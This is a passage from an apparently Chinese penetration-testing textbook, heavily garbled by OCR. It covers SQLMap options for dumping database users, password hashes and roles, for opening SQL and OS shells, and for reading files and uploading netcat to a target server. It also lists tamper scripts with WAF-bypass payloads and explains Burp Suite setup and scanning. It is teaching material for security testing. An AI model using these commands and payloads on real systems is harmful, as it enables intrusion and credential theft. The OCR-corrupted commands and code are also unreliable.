I use 「 name I passwo 「d
＋－－，－铮－ - - －唱＋－－””’．．，．帽，＋

Dumb Dumb 
Angelina I-kill-you 
Dummy p@sswo 「d

sec U 「e C 「appy

stupid stupidity 
supe 「man genious 
batman mob!le 
admin admin 

＋－－，－－－－－，－＋””’－，－…『，＋

图3-10 查看具体的字段信息

7. 获取数据库的所青用户

该命令的作用是列出数据库的所有用户，如下所示。在当前用户有权限读取包
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含所有用户的表的权限时号，使用该命令就可以列出所有管理用户。

sqlmap .py -u ”http: I /192 .168 .1. 7 I sql/union. php ?id=l" - -use「5

可以看到，当前用户账号是root，如图3-11所示。

Id< b • ~ [4] ［率 j ＇「oot'@'127.θ0.1 『

［在 J 'root' S ’ 192.168.1 120 ’ 
[*] 'root' g ’ d 巳vbook.local'

[. j 币 root ’＠。 localhost'

图3-11 歹lj出数据库的用户

8. 获取数据库用户的密码

该命令的作用是列出数据库用户的密码，如下所示。 如果当前用户有读取包含

用户密码的权限， SQLMap会先列举出用户，然后列出Hash，并尝试破解。

sqlmap. py -u "http: I /192 .168 .1. 7 I sql/union. php ?id=l”-- passwords 

从图3-12中可以看到，密码使用MySQL5加密，可以在www.cmd5.com中自行解

密。

I _,,. 

～.•.～飞 飞一－·－ ' • I 

、 ’ J ＇＇仁、 1 ' ，·，，沱三－巳C).λ＇ ;- ，，巳号。八节号＂＇、 | 
~ 丁 ·. ', .，，. λ ，，气5’巳斗λY 开＇ ·,•:;• ;;:,\· ＇＂＇飞← F I 
.. ，：、，.， ！气 U工ihCU·! f飞y ，，，气’ J ' ;,i;,;,; 'C"l J 仁 ｜

一！ .. ' 气 J乙二 i '. 飞｛／仁！ ;• ... ＼.一 J ＂＇；、 | 
｜ω 江山川1 七川＂＇re l1ashec tu aι""1por町 f i1 c for eventual f川her p…ssing wHh other tools [y/N] I 

图3-12 查询数据库的密码

9. 获取当前网脑数据库的名称

使用该命令可以列出当前网站使用的数据库，如下所示。

sqlmap.py -u ”http://192 . 168.1.7/sql/union.php?id=l”－－ cu「rent-db

从图3-13中可以看到数据库是’sql’ 。

t b…川 ~YSQL>= 5.0.12 
’ l L’＿，、巳；.； _ C!c.lc:S e 

cu 「「ent database :’sql' 

图3-13 列出当前网站的数据库
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10. 获取当前网览数据库的用户名称

使用该命令可以列出当前网站使用的数据库用户，如下所示。

sqlmap.py -u "http: //192.168.1. 7/sql /union. php?id=l " --cu r「ent-use「

从图3-14中可以看到，用户是root o;…D .)~:.>. \'.). l.L I 
〉川 ~： ~.i:llJ :1 川：＝ 01 手户飞 c h ·i n g c u r 1- en • use 「 | 

cu 「「ent use「：’「oot@localhost' I 
j 立。：豆 l: 811 fJllFOL J _s;JQ"l_e<i __Q_~_19_log豆豆。 to I 
图3-14 列出当前数据库的用户

3.1 .3 SOLMap 进阶参数讲解

1. 一level 5：探测等级

参数一level 5指需要执行的测试等级， 一共有5个等级 Cl～5 ）， 可不加leve l ， 默认

是1 。 SQLMap使用的Payload可以在xml/payloads . xml中看到，也可以根据相应的格式

添加自己的Payload，其中5级包含的Payload最多，会自动破解出cookie 、 XFF等头部

注入。当然， level 5的运行速度也比较慢。

这个参数会影响测试的注入点， GET和POST的数据都会进行测试， HTTP cookie 

在level为2时就会测试， HTTP User-Agent/Referer头在level为3时就会测试。总之，在

不确定哪个Payload或参数为注入点时，为了保证全面性，建议使用高的level值。

2. 一is-dba ：当前用户是否为管理权限

该命令用于查看当前账户是否为数据库管理员账户，如下所示，在本案例中输

入该命令，会返回Ture，如图3-15所示。

sqlmap . py - u ”http: //192.168.1.7/ sql / union.php?id=l”-- is-dba 

[ 二了 丁ii'i!
cu 「「 ent use 「 is OBA: True 

图3-15 查看当前账户是否为数据库管理员账户
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3. --roles ：列出数据库管理员角色

该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的

表，输入该命令会列举出每个用户的角色，也可以用－U参数指定想看哪个用户的角

色。 该命令仅适用于当前数据库是Oracle的时候。 在本案例中输入该命令的结果如图

3-16所示。

［＊］『「oot ’＠’ 127.0.0.1 ’（ administrator) (28): I 
「ole: ALTER I 
「ole: ALTER ROUTINE I 
「ole: CREATE I 
「ole: CREATE ROUTINE I 
「ole: CREATE TABLESPACE I 
「ole: CREATE TE”PORARY TABLES I 
「ole: CREATE USER I 
「ole: CREATE VIEW I 
「ole: DELETE I 
「ole: DROP I 
「ole: EVENT I 
「o le: EXECUTE I 
「ole: FILE I 
「ole: INDEX I 
「ole: INSERT I 
「ole: LOCK TABLES I 
role: PROCESS I 
「ole: REFERENCES I 
「ole: RELOAD I 
「ole: REPLICATION CLIENT I 
「ole: REPLICATION SLAVE I 
「ole· SELECT I 
「ole: SHOW DATABASES I 
role: SHOW VIEW I 
「ole: SHUTDOWN I 
「ole: SUPER I 
「ole: TRIGGER I 

图3-16 查看数据库用户的角色

4 一「eferer: HTTP Referer 头

SQLMap可以在请求中伪造HTTP中的refi巳阳，当一level参数设定为3或3以上时，

会尝试对referer注入。 可以使用referer命令来欺骗，如一referer http://www.baidu.com 。
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5. --sql-shell ：运行自定义 SOL 语句

该命令用于执行指定的SQL语句，如下所示，假设执行select ＊仕om users limit 0, 1 

语句，结果如图3-17所示。

sqlmap.py -u ”http: I /192 .168 .1. 7 /sql/union. php ?id=l”-- sql-shell 

图3-17 执行指定的SQL语句

6 . 一os-cmd ，一as-shell ：运行任意操作系统命令

在数据库为MySQL、 PostgreSQL或Microsoft SQL Server，并且当前用户有权限

使用特定的函数时，如果数据库为MySQL、 PostgreSQL, SQLMap上传一个二进制库，

包含用户自定义的函数sys_exec（）和sys_eval（），那么创建的这两个函数就可以执行系

统命令。在Microso位 SQL Server中， SQLMap将使用xp_ cmdshell存储过程，如果被禁

用（在Microso丘 SQL Server 2005及以上版本默认被禁制）， !J!LlSQLMap会重新启用它：

如果不存在，会自动创建。

用一os-shell参数可以模拟一个真实的Shell，输入想执行的命令。当不能执行多语

句时（比如PHP或ASP的后端数据库为MySQL），仍然可以使用卧ffO OUTFILE写进

可写目录，创建一个Web后门。－－os-shell支持ASP、 ASP.NET、 JSP和PHP四种语言（要

想执行改参数，需要有数据库管理员权限，也就是一is-dba的值要为True ）。

7. --file-read ：从数据库服务器申读取文件

该命令用于读取执行文件，当数据库为MySQL 、 PostgreSQL或Microsoft SQL 

Se凹er，并且当前用户有权限使用特定的函数时，读取的文件可以是文本， 也可以是

二进制文件。下面以Microso位 SQLSe凹er 2005为例，复习－－file-read参数的用法。

$ python sqlmap.py -u 
” http://192.168.136.129/sqlmap/mssql/iis/get_st「2.asp?name=luther、”＼

- -file －「ead ”C:/example.exe" -v 1 
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[. .. ] 
[hh:mm:49) (INFO) the back-end DBMS is Mic「osoft SQL Serve「
web server operating system: Windows 2000 
web application technology : ASP.NET, Micr、osoft IIS 6.0, ASP 
back-end DBMS: Mic「osoft SQL Se「ver 2005 
(hh:mm:50) (INFO）手etching file :’C:/example.exe ’ 

[hh :mm:50) (INFO) the SQL query P「ovided 「etu「ns 3 entries 
C:/example.exe file saved to: 
’／ softwa「e/sqlmap/output/192.168.136.129/files/C一＿example.exe'

[...] 
$ ls -1 output/192.168.136.129／于iles/C_example.exe

”「w－「－－「－－ 1 inquis inquis 2560 2011-MM-DD hh:mm 
output/192 .168.136.129/files/C：一＿example.exe

$ file output/192.168.136.129/files/C_example.exe 
output/192.168.136.129/files/C_example.exe: PE32 executable for MS Windows (GUI) 
Intel 
80386 32-bit 

8. --file-write 一file-dest ：上传文件到数据库服务器申

该命令用于写入本地文件到服务器中，当数据库为MySQL 、 PostgreSQL或

Microso负 SQLSe凹er，并且当前用户有权限使用特定的函数时，上传的文件可以是文

本，也可以是二进制文件。 下面以一个MySQL的例子复习－－file-write …file-dest参数的

用法。

$ file /softwa「e/nc.exe.packed
/softwa「e/nc. exe. packed: PE32 executable for MS Windows (console) Intel 80386 32-bit 
$ ls -1 /software/nc.exe.packed 
·「wx「－ xr-x 1 inquis inquis 31744 2θ09-MM-DD hh : mm /software/nc.exe.packed 
$ python sqlmap.py -u ” http://192.168.136 . 129/sqlmap/mysql/get_int.aspx?id=l” 

- -file-write \ 
”/software/nc .exe.packed ” ’”file -dest ” C:/WINDOWS/Temp/nc.exe" - v 1 

[. ..] 
[hh:mm:29) (INFO) the back-end DBMS is MySQL 
web server operating system: Windows 2003 or 2008 
web application technology: ASP . NET, Microsoft IIS 6 . 0, ASP.NET 2.0.50727 
back-end DBMS ：问ySQL &gt;= 5.0.0 

[.. . ] 
do you want confi「『nation that the 于ile ’ C : /WINDOWS/Temp/nc.exe ’ has been success手ully
M「itten on the back-end DBMS file system? (Y/n) y 

仅供非商业用途或交流学习使用
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[hh:mm:52] [INFO］「et「ieved: 31744 

[hh:mm:52] [INFO] the file has been successfully w「itten and its size is 31744 bytes, 
same size as the local 于ile ’／ softwa 「e/nc.exe.packed ’

3.1.4 SOLMap 自带绕过脚本 tampe「的讲解

SQLMap在默认情况下除了使用CHAR（）函数防止出现单引号，没有对注入的数

据进行修改，读者还可以使用一tamper参数对数据做修改来绕过WAF等设备，其中大

部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则，

命令如下所示。

sqlmap.py XXXXX --tamper、”模块名 ”

目前官方提供53个绕过脚本，下面是一个tamper脚本的格式。

# sql 『『1ap/tampe「／ escapequotes.py

fr、om lib. co 「e.enums impo「t PRIORITY 

一＿p「io「ity _ = PRIORITY. LOWEST 

def dependencies(): 
pass 

def tamper、（ payload, **kwa「gs):

「etur、n payload. 「eplace （’…＇ ，”＼＼…）．「eplace （＇”’， '\ \”’) 

不难看出，一个最小的tamper脚本结构为priority变量定义和dependencies 、 tamper

函数定义。

• priority定义脚本的优先级，用于有多个tamper脚本的情况。

• dependencies函数声明该脚本适用／不适用的范围，可以为空。

下面以一个转大写字符绕过的脚本为例， tamper绕过脚本主要由dependencies和

tamper两个函数构成。 def tamper (payload，忡kwargs）函数接45/:playload和＊＊kwargs

返回一个Payload。下面这段代码的意思是通过正则匹配所有字符，将所有攻击载荷

中的字符转换为大写字母。

de手 tamper、（ payload, **kwa 「gs):

「etVal = payload 

仅供非商业用途或交流学习使用
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if payload: 

for、 match in 「e.findite「（「”［A-Za z＿］＋” 3 俨etVal):

WO「d = match.g「oup()

if word.uppe「（） in kb.keywo「ds:

r、etVal ＝「etVal. 「eplace(wo「d, WO 「d.upper、（））

「、ett」俨「1 「etVal

在日常使用中，我们会对一些网站是否有安全防护（WAF/IDS/IPS）进行试探，

可以使用参数一identify-waf进行检测 。

下面介绍一些常用的tamper脚本。

• apostrophemask.py 

作用 ： 将引号替换为UTF-8，用于过滤单引号。

使用脚本前的语句为：

1 AND ’ 1 '=’ 1 

使用脚本后，语句为：

1 AND %EF%BC%871%EF%BC%87=%EF%BC%871 

• base64encode.py 

作用： 替换为base64编码。

使用脚本前的语句为：

1 ’ AND SLEEP(S)# 

使用脚本后，语句为：

问ScgQUSEIFNMRUVQKDUpiw==

• multiplespaces.py 

作用：围绕SQL关键宇添加多个空格。

使用脚本前的语句为：

1 UNION SELECT fooba 「

使用脚本后，语句为：

1 UNION SELECT fooba「

• space2plus.py 

仅供非商业用途或交流学习佼用
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作用：用＋号替换空格。

使用脚本前的语句为：

SELECT id FROM users 

使用脚本后，语句为：

SELECT+id+FROM+users 

• nonrecursivereplacement. py 

作用：作为双重查询语句，用双重语句替代预定义的SQL关键宇（适用于非常弱

的自定义过滤器，例如将SELECT替换为空〉。

使用脚本前的语句为：

1 UNION SELECT 2--

使用脚本后，语句为：

1 UNIOUNIONN SELESELECTCT 2--

• space2randomblank.py 

作用：将空格替换为其他有效字符。

使用脚本前的语句为：

SELECT id FROM users 

使用脚本后，语句为：

SELECT%0Did%0DFROM%θAus er、s

• unionalltounion.py 

作用：将UNION ALL SELECT替换为UNION SELECT 。

使用脚本前的语句为：

国1 UNION ALL SELECT 

使用脚本后，语句为：

-1 UNION SELECT 

• securesphere.py 

作用：追加特制的字符串 。

仅供非商业用途或交流学习佼用
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使用脚本前的语句为：

1 AND 1=1 

使用脚本后，语句为：

1 AND 1=1 and '0having ’ = ' 0having ' 

• space2hash.py 

作用 ： 将空格替换为＃号，并添加一个随机字符串和换行符。

使用脚本前的语句为：

1 AND 9227=9227 

使用脚本后，语句为：

1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227 

• space2mssqlb lank.py(mssql ) 

作用 ： 将空格替换为其他空符号。

使用脚本前的语句为：

SELECT id FROM user s 

使用脚本后，语句为：

SELECT%0E id%0DFROM%07use「5

• space2m ssqlhash.py 

作用 ： 将空格替换为＃号，并添加一个换行符。

使用脚本前的语句为：

1 AND 9227=9227 

使用脚本后，语句为：

1%23%0AAND%23%0A9227=9227 

• b etween.py 

作用：用NOT BETWEEN 0 AND替换大于号（＞），用BETWEEN AND替换等号

（＝）。

使用脚本前的语句为：

仅供非商业用途或交流学习使用
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1 AND A > B->

使用脚本后，语句为：

1 AND A NOT BETWEENθAND B--

使用脚本前的语句为：

1 AND A = B--

使用脚本后，语句为：

1 AND A BETWEEN B AND B--

• percentage.py 

作用 ： ASP允许在每个字符前面添加一个%号 。

使用脚本前的语句为：

SELECT FIELD FROM TABLE 

使用脚本后 ， 语句为：

%5%E%L%E%C%T%F%I%E% L%D%F%R%0%问%T%A% B%L%E 

• sp_password.py 

作用 ： 从DBMS 日志的自动模糊处理的有效载荷中追加sp_password 。

使用脚本前的语句为：

1 AND 9227=9227--

使用脚本后 ， 语句为：

1 AND 9227=9227- sp_passwo「d

• charencode.py 

作用 ： 对给定的Payload全部字符使用URL编码（不处理己经编码的字符）。

使用脚本前的语句为：

SELECT FIELD FROM%20TABLE 

使用脚本后，语句为：

%53%45%4c%45%43%54%2θ%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 

• randomcase.py 

作用： 随机大小写 。

仅供非商业用途或交流学习使用
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使用脚本前的语句为：

INSERT 

使用脚本后，语句为：

InsERt 
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SELECT FIELD%20FROM TABLE 

使用脚本后，语句为：

%u0053%u0045%u004c%u0045%u0043%u0054%u0θ20%u0046%u0θ49%u0045%u004c%u0044%u0020 

%u0046%uθθ52%u004f%uθ04d%u0020%u0054%u0041%u0042%u004c%u0045 

• space2comment. py 

作用 ： 将空格替换为／＊＊／。

使用脚本前的语句为：

SELECT id FROM use「5

使用脚本后，语句为：

SE LECT/ ** /id/ **/ FROM/ **/ use「5
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SELECT * FROM use「s WHERE id=l 

使用脚本后，语句为：

SELECT * FROM use「S WHERE id LIKE 1 

• greatest.py 

作用 ： 绕过对“＞”的过滤，用GREATEST替换大于号。

使用脚本前的语句为：

1 AND A > B 

仅供非商业用途或交流学习使用
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使用脚本后，语句为：

1 AND GREATEST(A,B+l)=A 

测试通过的数据库类型和版本：

• MySQL4、 MySQL 5 . 0矛日MySQL 5.5 

• Oracle lOg 

• PostgreSQL 8.3 、 PostgreSQL 8.4和PostgreSQL 9.0 

• ifnull2ifisnull.py 

作用：绕过对IFNULL的过滤，替换类似IFNULL(A, B）为IF(ISNULL(A), B, A）。

使用脚本前的语句为：

IFNULL(l, 2) 

使用脚本后，语句为：

IF(ISNULL(l),2,1) 

测试通过的数据库类型和版本为MySQL5.0和MySQL5.5 。

• modsecurityversioned.py 

作用：过滤空格，使用MySQL内联注释的方式进行注入。

使用脚本前的语句为：

1 AND 2>1--

使用脚本后，语句为：

1 /*!30874AND 2>1* /--

测试通过的数据库类型和版本为MySQL5.0 。

• space2mysqlblank.py 

作用：将空格替换为其他空白符号（适用于MySQL) 。

使用脚本前的语句为：

SELECT id FROM use「S

使用脚本后，语句为：

SELECT%A0id%0BFROM%0Cusers 

仅供非商业用途或交流学习使用
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测试通过的数据库类型和版本为MySQL 5.1 。

• modsecurityzeroversioned.py 

作用：使用MySQL内联注释的方式（／＊！00000＊／）进行注入。

使用脚本前的语句为：

1 AND 2>1“· 

使用脚本后，语句为：

1 / * !00000AND 2>1* /’ ” 

测试通过的数据库类型和版本为MySQL5.0 。

• space2mysqldash.py 

作用：将空格替换为一，并添加一个换行符。

使用脚本前的语句为：

1 AND 9227=9227 

使用脚本后，语句为：

1--%0AAND--%0A9227=9227 

• bluecoat.py 

作用：在SQU吾句之后用有效的随机空白符替换空格符，随后用LIKE替换等于
c:J 
亏 。

使用脚本前的语句为：

SELECT id FROM use「S where id = 1 

使用脚本后，语句为：

SELECT%09id FROM%09users WHERE%09id LIKE 1 

测试通过的数据库类型和版本为MySQL 5.1和SGOS o
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UNION ALL SELECT NULL, NULL,CONCAT(CHAR(58,1θ4,116,116,58),IFNULL(CAST(CURRENT_ 

USER() AS CHAR),CHAR(32)),CH／忡／AR(58,1θ0,114, 117,58))# 

仅供非商业用途或交流学习使用
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使用脚本后，语句为：

/*!UNION忡！ ALL忡！ SELECT忡！ NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58), 

IFNULL(CAST(CURRENT_USER()/ * !AS忡！ CHAR*/), CHAR(32)) , CHAR(58,100,114,117 , 58))#

• halfversionedmorekeywords.py 

作用：当数据库为MySQL时绕过防火墙，在每个关键字之前添加MySQL版本注

释。

使用脚本前的语句为：

value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST 

(CURRENT_USER() AS CHAR),CHAR(32)) , CHAR(58,97,110,121,58)), NULL, NULL# AND 

’ QDWa ’=’ QDWa 

使用脚本后，语句为：

value ’／＊！ 0UNION/*!0ALL／＊！ θSELECT/*! 0CONCAT(/* ！ θCHAR(58,107,112,113,58 ），／＊！ θIFN 

ULL (CAST(/ *! 0CURRENT _USER()/ *! 0AS/* ！ θCHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,5 

8)),/*!0NULL,/*!0NULL＃／＊！ θAND ’ QDWa ’＝’ QDWa 

测试通过的数据库类型和版本为MySQL 4 . 0.18和MySQL 5.0.220 

• space2morehash.py 

作用：将空格替换为＃号，并添加一个随机字符串和换行符。

使用脚本前的语句为：

1 AND 9227=9227 

使用脚本后，语句为：

1%23ngNvzqu%0AAND%23nVNaVoPYeva加A%23 lujYFWfv加A9227=9227

测试通过的数据库类型和版本为MySQL 5.1.41 。

• apostrophenullencode.py 

作用：用非法双字节unicode字符替换单引号。

使用脚本前的语句为：

1 AND '1 '=’ 1 

使用脚本后，语句为：

1 AND %00%271%θθ%27=%00%271 

仅供非商业用途或交流学习使用
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• appendnullbyte.py 

作用：在有效负荷的结束位置加载零字节字符编码。

使用脚本前的语句为：

1 AND 1=1 

使用脚本后，语句为：

1 AND 1=1%00 

• chardoubleencode.py 

作用：对给定的Payload全音~字符使用双重U虹编码（不处理己经编码的字符〉。

使用脚本前的语句为：

SELECT FIELD FROM%20TABLE 

使用脚本后，语句为：

%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%25 

4f%254d%2520%2554%2 541%2542%254c%2545 

• unmagicquotes.py 

作用：用一个多字节组合 Co/ob伪也27）和末尾通用注释一起替换空格。

使用脚本前的语句为：

1' AND 1=1 

使用脚本后，语句为：

1%bf%27 - -

• randomcomments.py 

作用 ： 用户＊／分割SQL关键字。

使用脚本前的语句为：

INSERT 

使用脚本后，语句为：

IN/ ** /S/**/ ERT 

虽然SQLMap 自带的tamper可以做很多事情，但在实际环境中，往往比较复杂，

可能会遇到很多情况， tamper不可能很全面地应对各种环境，所以建议读者在学习如



仅供非商业用途或交流学习使用

50 ~ Web安全攻防：渗透测试实战指南

何使用自带的tamper的同时，最好能够掌握tamper的编写规则，这样在应对各种实战

环境时才能更自如。

3.2 Burp Suite 详解

3.2.1 Burp Suite 的安装

Burp Suite是一款集成化的渗透测试工具，包含了很多功能，可以帮助我们高效

地完成对Web应用程序的渗透测试和攻击。

Burp Suite由Java语言编写，基于Java自身的跨平台性，使这款软件学习和使用起

来更方便。 Burp Suite不像其他自动化测试工具，它需要手工配置一些参数，触发一

些自动化流程，然后才会开始工作。

Burp Suite可执行程序是Java文件类型的jar文件，免费版可以从官网下载。免费

版的Burp Suite会有许多限制，无法使用很多高级工具，如果想使用更多的高级功能，

需要付费购买专业版。专业版与免费版的主要区别有以下三点。

• Burp Scanner。

• 工作空间的保存和恢复。

• 拓展工具，如Target Analyzer、 Content Discovery和Task Scheduler a 

Burp Suite是用Java语言开发的，运行时依赖取E，需要安装Java环境才可以运行。

用百度搜索JDK，选择安装包然后下载即可，打开安装包后单击“下一步”按钮进行

安装（安装路径可以自己更改或者采用默认路径〉。提示安装完成后， 打开cmd，输

入java -version 进行查看，若返回版本信息则说明已经正确安装，如图3-18所示。

！：：~＂＇ >.;. •i I j ＜＼υdυe1·~； ion "1.8 .11 112 ” l 
J,1v,1<T问） SE Huntine Envi1•onnent (huilcl 1.8.” 112 h1S> I 
J,1υd llotSput Cf”) Client U问（ huilcl 25.112 • h1S, nixed node, !dl<11'ill!J) I 

图3-18 返回版本信息

接下来配置环境变量，右击“计算机”，接着单击“属性”→“高级系统设置”

→“环境变量”，然后新建系统变量，在弹出框的“变量名” 处输入“JAVA HOME ”, 

在“变量值”处输入JDK的安装路径，如“C:\Program Files (x86)\Java\jdkl.8.0_112 ”, 
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然后单击“确定”按钮。

在“系统变量”中找到PATH变量，在“变量值”的最前面加上“%JAVA

HOME%\bin；”，然后单击 “确定”按钮。

在“系统变量”中找到CLASSPATH变量，若不存在则新建这个变量，在“变量

值”的最前面加上“.；%JAVA HOME%\lib\dt. r;%JAVA一HOME%\lib\tools.jar；，，，然

后单击“确定”按钮。

打开cmd，输入javac ， 若返回帮助信息，如图3- 19所示，说明己经正确配置了环

境变量。

C: '.!lo.er,; '.t1•uo:;t >.iaυ<1C 

4'1:.,:; : .i«v«c (option,;) (o:;ource file,;) 
…. ，，气 斗之一寸f宁；；、1ι.，： ，

· , “ i 1 ：•刀： l:cc －＂已： ·1c; • 

!I 
~I: none 
!I: { l uie o. ， υctl'!:, !;lllll'Ce} 

no 飞’‘－＇ B、n

图3-19 输入javac 

醺矗
下载好的Burp无须安装， 直接双击BurpLoader.j ar文件即可运行，如图3-20所示。

”－－＂圃， －－－－－－－－』~~气‘＝‘：：－..

ω 

’s’”“ 

图3-20 运行Bu rp

3.2.2 Burp Suite 入门

Bu甲 Suite代理工具是以拦截代理的方式，拦截所有通过代理的网络流量，如客
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户端的请求数据、服务器端的返回信息等。 Burp Suite主要拦截H汀P和HTTPS协议的

流量，通过拦截， Burp Suite以中间人的方式对客户端的请求数据、服务端的返回信

息做各种处理，以达到安全测试的目的。

在日常工作中， 最常用的Web客户端就是Web浏览器，我们可以通过设置代理信

息，拦截Web浏览器的流量， 并对经过Burp Suite代理的流量数据进行处理。 Burp Suite 

运行后， B呻 Proxy默认本地代理端口为8080，如图3-2 1所示。

hterc:e例 KTT，，也＇＂＂＇ W由s。............ 。”’幅

回 P叫 Listeners

~ .... ......,, .........阴阳 ，町..叫，KTT> ,..,... ... ，...，酬， browser. Y剧呻叫to'°""''"' yo"' bn>w叫＂＂阳创......'" 

国阵将阳
~ 

~空空 时回
。

Ce仙”国.. 
• 
向叫＂＂＇

.. 

Eaehh到…饵”＂＇＂＇＂＂＇＂睛”饵’bownCA国仰ftctteNt 份尊町 lllSteners 四”...w惰倪睛’“·胁，SSι剧时c:tiont y，剧。嗣同剧。，阻阳t＂＂＇阳恤::att 阳回＇＂e协＠，ω。...刷曲er
民.......,. . , . ... 

｜ 阳ti export CA回归• 11 陆阳叫CA cerunc.te I 

图3-21 查看默认的代理端口

这里以Firefox浏览器为例，单击浏览器右上角“打开菜单”，依次单击“选项”

→“常规”→“网络代理”→“设置”→“手动配置代理”，如图3-22所示， 设置HTTP

代理为127.0.0.1 ， 端口为8080，与Burp Proxy中的代理一致。

’手动配置代理也J

HTTP 代理∞［ 山.0.0 . 1

SSl 代理－

.ETP 代理

SO(;KS 主矶 '· 

不使用代理创J

为研南胁议使用徊罔代理｛皇）

SOCKS v4 • SOCKS 立5

锣锢 m。Ztlla。rg. .netnz. 192.168.1.0/24 

自动代理E置 （ PAC J 

图3-22 设置浏览器的代理信息

l嗣口 ω 翩。

摘口：＠｝
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摘口’① 。

.，圭 lll1i国 帽助（t!J
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1. Proxy 

Burp Proxy是利用Burp开展测试流程的核心， 通过代理模式，可以让我们拦截、

查看、修改所有在客户端与服务端之间传输的数据。

Burp Proxy的拦截功能主要由Intercept选项卡中的Forward 、 Drop 、 Interception is 

on/off；和Action构成，它们的功能如下所示。

• Forward表示将拦截的数据包或修改后的数据包发送至服务器端。

• Drop表示丢弃当前拦截的数据包。

• Interception is on表示开启拦截功能，单击后变为Interception is off，表示关

闭拦截功能。. 单击Action按钮，可以将数据包进一步发送到Spider、 Scanner、 Repeater 、

Intruder等功能组件做进一步的测试，同时也包含改变数据包请求方式及其

body的编码等功能。

打开浏览器， 输入需要访问的U虹并按回车键，这时将看到数据流量经过Burp

Proxy并暂停， 直到单击Forward按钮，才会继续传输下去。 如果单击了Drop按钮， 这

次通过的数据将丢失，不再继续处理。

当Burp Suite拦截的客户端和服务器交互之后，我们可以在Burp Suite的消息分析

选项中查看这次请求的实体内容、消息头、请求参数等信息。 Burp有四种消息类型

显示数据包： Raw、 Params 、 Headers和Hex 。

• Raw主要显示Web请求的raw格式， 以纯文本的形式显示数据包， 包含请求

地址、 HTTP协议版本、 主机头 、 浏览器信息、 Accept可接受的内容类型、

字符集、 编码方式、 cookie等 ， 可以通过手动修改这些信息， 对服务器端进

行渗透测试。

• Params主要显示客户端请求的参数信息， 包括GET或者POST请求的参数、

cookie参数。可以通过修改这些请求参数完成对服务器端的渗透测试。

• Headers中显示的是数据包中的头信息， 以名称、值的形式显示数据包。

- H巳x对应的是Raw中信息的二进制内容， 可以通过Hex编辑器对请求的内容

进行修改， 在进行00截断时非常好用，如图子23所示。
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Spider 

Spider的蜘蛛爬行功能可以帮助我们了解系统的结构，其中Spider~取到的内容

将在Target中展示，如图3-24所示，界面左侧为一个主机和目录树，选择具体某一个

分支即可查看对应的请求与响应。
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3. Decode「

Decoder的功能比较简单，它是Burp中自带的编码解码及散列转换的工具，能对

原始数据进行各种编码格式和散列的转换。

Decoder的界面如图3-25所示。输入域显示的是需要编码／解码的原始数据，此处

可以直接填写或粘贴，也可以通过其他Burp工具上下文菜单中的“Send to Decoder" 

选项发送过来：输出域显示的是对输入域中原始数据进行编码／解码的结果。 无论是

输入域还是输出域都支持文本和Hex这两种格式，编码解码选项由解码选项（Decode

as）、编码选项 （Encode as）、散列 （ Hash ） 构成。在实际使用时，可以根据场景的需

要进行设置。

I ，.，...，阳叫 S曲严二可瓦二丁石~ζ石T百~阳叫，＿巾’｜阳抽回， ..... , 

输入 \ 
@ Toxt 0 H回 回

问叫“－ ~ 

卡’叫“－ t•l 

' """ ” 凶
| 阳幽叩 l

@T•剧 。 ”回

输出 阳明白帽节 l•J 
问睛”－ 1•J 
l ”蛐响 l’ l 
| 叩曲叫 ｜

图3-25 Decode「的界面

对编码解码选项而言，目前支持URL、 HTML、 Base64 、 ASCII、十六进制、八

进制、二进制和GZIP共八种形式的格式转换， Hash散列支持SHA 、 SHA-224 、

SHA-256 、 SHA-384 、 SHA-512 、 MD2, MD5格式的转换。更重要的是，对同一个数

据，我们可以在Decoder界面进行多次编码、解码的转换。

3.2.3 Burp Suite 进阶

3.2.3.1 Scanne「

Burp Scanner主要用于自动检测Web系统的各种漏洞。本小节介绍B呻 Scanner

的基本使用方法， 在实际使用中可能会有所改变，但大体环节如下。
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首先，确认Burp Suite正常启动并完成浏览器代理的配置。然后进入Burp Proxy, 

关闭代理拦截功能，快速浏览需要扫描的域或URL模块， 此时在默认情况下， Burp

Scanner会扫描通过代理服务的请求，并对请求的消息进行分析来辨别是否存在系统

漏洞。而且当我们打开Burp Target时，也会在站点地图中显示请求的URL树。

我们随便找一个网站进行测试，选择Burp Target的站点地图选项下的链接，在其

链接URL上右击选择“Actively scan this host”，此时会弹出过滤设置，保持默认选项

即可扫描整个域， 如图3-26所示。
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也可以在Proxy下的HTTP history中，选择某个节点上的链接URL并右击选择Do

an active scan 进行扫描，如图3-27所示。

这时， Burp Scanner开始扫描，在Scanner界面下双击即可看到扫描结果， 如图3-28

所示。
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我们也可以在扫描结果中选中需要进行分析的部分，将其发送到repeater模块中

进行模拟提交分析和验证，如图3-29所示。

图3-29 发送到「epeate「模块

&, _, 

当scanner扫描完成后，可以右击Burp Target站点地图选项下的链接，依次选择

“ issues”•“ Report issues，，选项，然后导出漏洞报告，如图3-30所示。

""" .. 酬…w…•w•曲·

一－....”．啕

图3-30 导出漏洞报告
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然后将漏洞报告以html文件格式保存，结果如图3-31所示。
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图3-31 扫描结果

通过以上操作步骤我们可以学习到： Bu甲 Scanner主要有主动扫描和被动扫描两

种扫描方式。

1. 主动扫描（ Active Scanning) 

当使用主动扫描模式时， Burp会向应用发送新的请求并通过Payload验证漏洞。

这种模式下的操作会产生大量的请求和应答数据，直接影响服务端的性能，通常用

于非生产环境。主动扫描适用于以下这两类漏洞。

• 客户端的漏洞，如xss 、 HTTP头注入、操作重定向。. 服务端的漏洞，如SQL注入、命令行注入、文件遍历。

对第一类漏洞， Burp在检测时会提交input域，然后根据应答的数据进行解析。

在检测过程中， Burp会对基础的请求信息进行修改，即根据漏洞的特征对参数进行

修改，模拟人的行为，以达到检测漏洞的目的；对第二类漏洞，以SQL注入为例，服

务端有可能返回数据库错误提示信息，也有可能什么都不反馈。 Burp在检测过程中

会采用各个技术验证漏洞是否存在，例如诱导时间延迟、强制修改Boolean值、与模

糊测试的结果进行比较，以提高漏洞扫描报告的准确性。
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2 . 被动扫描（ Passive Scanning) 

当使用被动扫描模式时， Burp不会重新发送新的请求，只是对己经存在的请求

和应答进行分析，对服务端的检测来说，这比较安全，通常适用于生产环境的检测。

